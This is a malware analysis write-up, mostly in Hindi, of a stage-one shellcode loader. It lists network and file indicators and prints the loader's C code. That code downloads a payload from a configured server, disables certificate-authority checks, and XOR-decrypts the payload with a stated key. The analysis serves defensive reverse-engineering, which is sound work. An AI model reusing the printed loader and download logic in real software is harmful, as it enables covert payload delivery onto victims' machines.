
Analysis for stage1 shellcode loader from hacking
कोड का फ़्लोचार्ट
नेटवर्क IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
संक्रमण IoC(ड्रॉप की गई फ़ाइलें)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
ठीक है तो ये क्या है। चलो इसे लेते हैं। Loader.sln या loader.c
ठीक है, तो startup और startup से asm तक? asm में क्या होता है? pic(position independent code) शेलकोड। बढ़िया, और यह क्या करता है? मूल रूप से यह Loader(0xdeadbeef) करेगा। क्यों?? मुझे नहीं पता कि उन्होंने वह पता क्यों चुना, लेकिन उस पते पर अनपैक्ड कोड होना चाहिए। खैर, चलो आगे बढ़ते हैं और देखते हैं कि डिबगर में क्या होता है। सुधार: हम Loader(eax) करते हैं और eax एक ip एड्रेस है जिसमें एक .dat फ़ाइल है .png)
अब अगर हम फ़्लो का अनुसरण करें तो हम loader में जाते हैं

अभी के लिए हम LoadVtable को छोड़ देंगे क्योंकि यह व्यापक और बड़ा है, और बाकी क्षमताओं का विश्लेषण पूरा करने के बाद हम इस पर वापस आएँगे। अब हम DownloadAndDecryptTls की जाँच करते हैं।
DownloadAndDecryptTls

अब एक अच्छी चीज़ जो मैंने डिबगिंग के दौरान देखी।
वह यह है कि जैसा आप ऊपर वाली छवि में और निम्नलिखित स्निपेट में देख सकते हैं
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
वह यह है कि lpLoaderConfig गतिशील रूप से प्राप्त किया जाता है। लेकिन कहाँ से? खैर, जाहिर तौर पर यह उस .dat फ़ाइल को डाउनलोड करता है या आंतरिक रूप से उपयोग करता है? और वह .dat फ़ाइल क्या है। आर्काइव का निरीक्षण करने पर
हमें एक और बढ़िया फ़ाइल shellcode_0x95d दिखती है। अगर हम इसे hxd में देखें
आपको ढेर सारे api कॉल और वह url दिखेंगे। तो मूल रूप से यही असली शेलकोड है :) बढ़िया, हम इसके साथ समाप्त करने के बाद इस पर एक नज़र डालेंगे।
अब बाद के लिए याद रखें, xor key 0x6281f17f है। अब रुचि के बिंदु ValidateCa तक एक संक्षिप्त विश्लेषण। वहाँ तक इस फ़ंक्शन में कुछ खास नहीं होता; सबसे दिलचस्प चीज़ InternetOpenA का कॉल है, जो नेटवर्किंग के लिए dll इनिशियलाइज़ करता है। एक चाल देखने के लिए इसे गतिशील रूप से निरीक्षण करना अच्छा रहेगा। वे इसे c कोड में ऐसे करते हैं
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
जो api का एक कम आर्गुमेंट है। खैर, बात बहुत हुई, देखते हैं कोड में क्या होता है।
तो डिबगर में यह ऐसा दिखता है
तो मुझे लगता है कि यहाँ ऐसा इसलिए होता है क्योंकि यह INTERNET_OPEN_TYPE_PRECONFIG उपयोग करता है, यह पहले से कॉन्फ़िगर की गई संरचना का उपयोग करता है और lptable में पहले से ही url मौजूद है।
खैर, आगे हमारे पास ValidateCA है
तो वैसे भी, हम यह क्यों करते हैं? क्योंकि यह केवल यह तय करता है कि https करना है या http।
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
फिर हम एक साधारण get request करते हैं और http से फ़ाइल डाउनलोड करते हैं। यहाँ कुछ खास नहीं है। अगर आप सोच रहे हैं कि क्या यहाँ कोड में कुछ खास है, तो मुझे नहीं लगता; शायद आप इंटरनेट पर इसके उदाहरण पा सकते हैं। DownloadFile फ़ंक्शन फ़ाइलें कैसे डाउनलोड करता है? InternetReadFileExA का उपयोग करके।
तो वैसे भी, यह रहा कोड
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
अब decrypt वाले if-चेक की जाँच करते हैं कि यह डिक्रिप्ट फ़ंक्शन में प्रवेश करता है या नहीं। प्रयोग के दौरान मेरी धारणा थी कि bXored सत्य होगा, इसलिए हमें डिक्रिप्ट फ़ंक्शन में प्रवेश करना चाहिए। दुर्भाग्य से हमारी धारणा गलत थी क्योंकि
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
हम उस दुर्भावनापूर्ण सर्वर को अनुरोध नहीं भेज पाएँगे। अब मैं frida से एक सर्वर का अनुकरण कर सकता हूँ, लेकिन किस उद्देश्य के लिए, क्योंकि हमारे पास पहले से ही payload मौजूद है। अब केवल इसे डिसअसेंबल करना है और तय करना है कि यह एन्क्रिप्टेड है या नहीं। अब डिक्रिप्शन भी कुछ इस प्रकार दिखता है
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
जो कि 2-कुंजी xor है और dwXorkey 0x6281f17f है।
अब loader के अंतिम भाग को हल करने के लिए Loader फ़ंक्शन पर वापस चलते हैं।
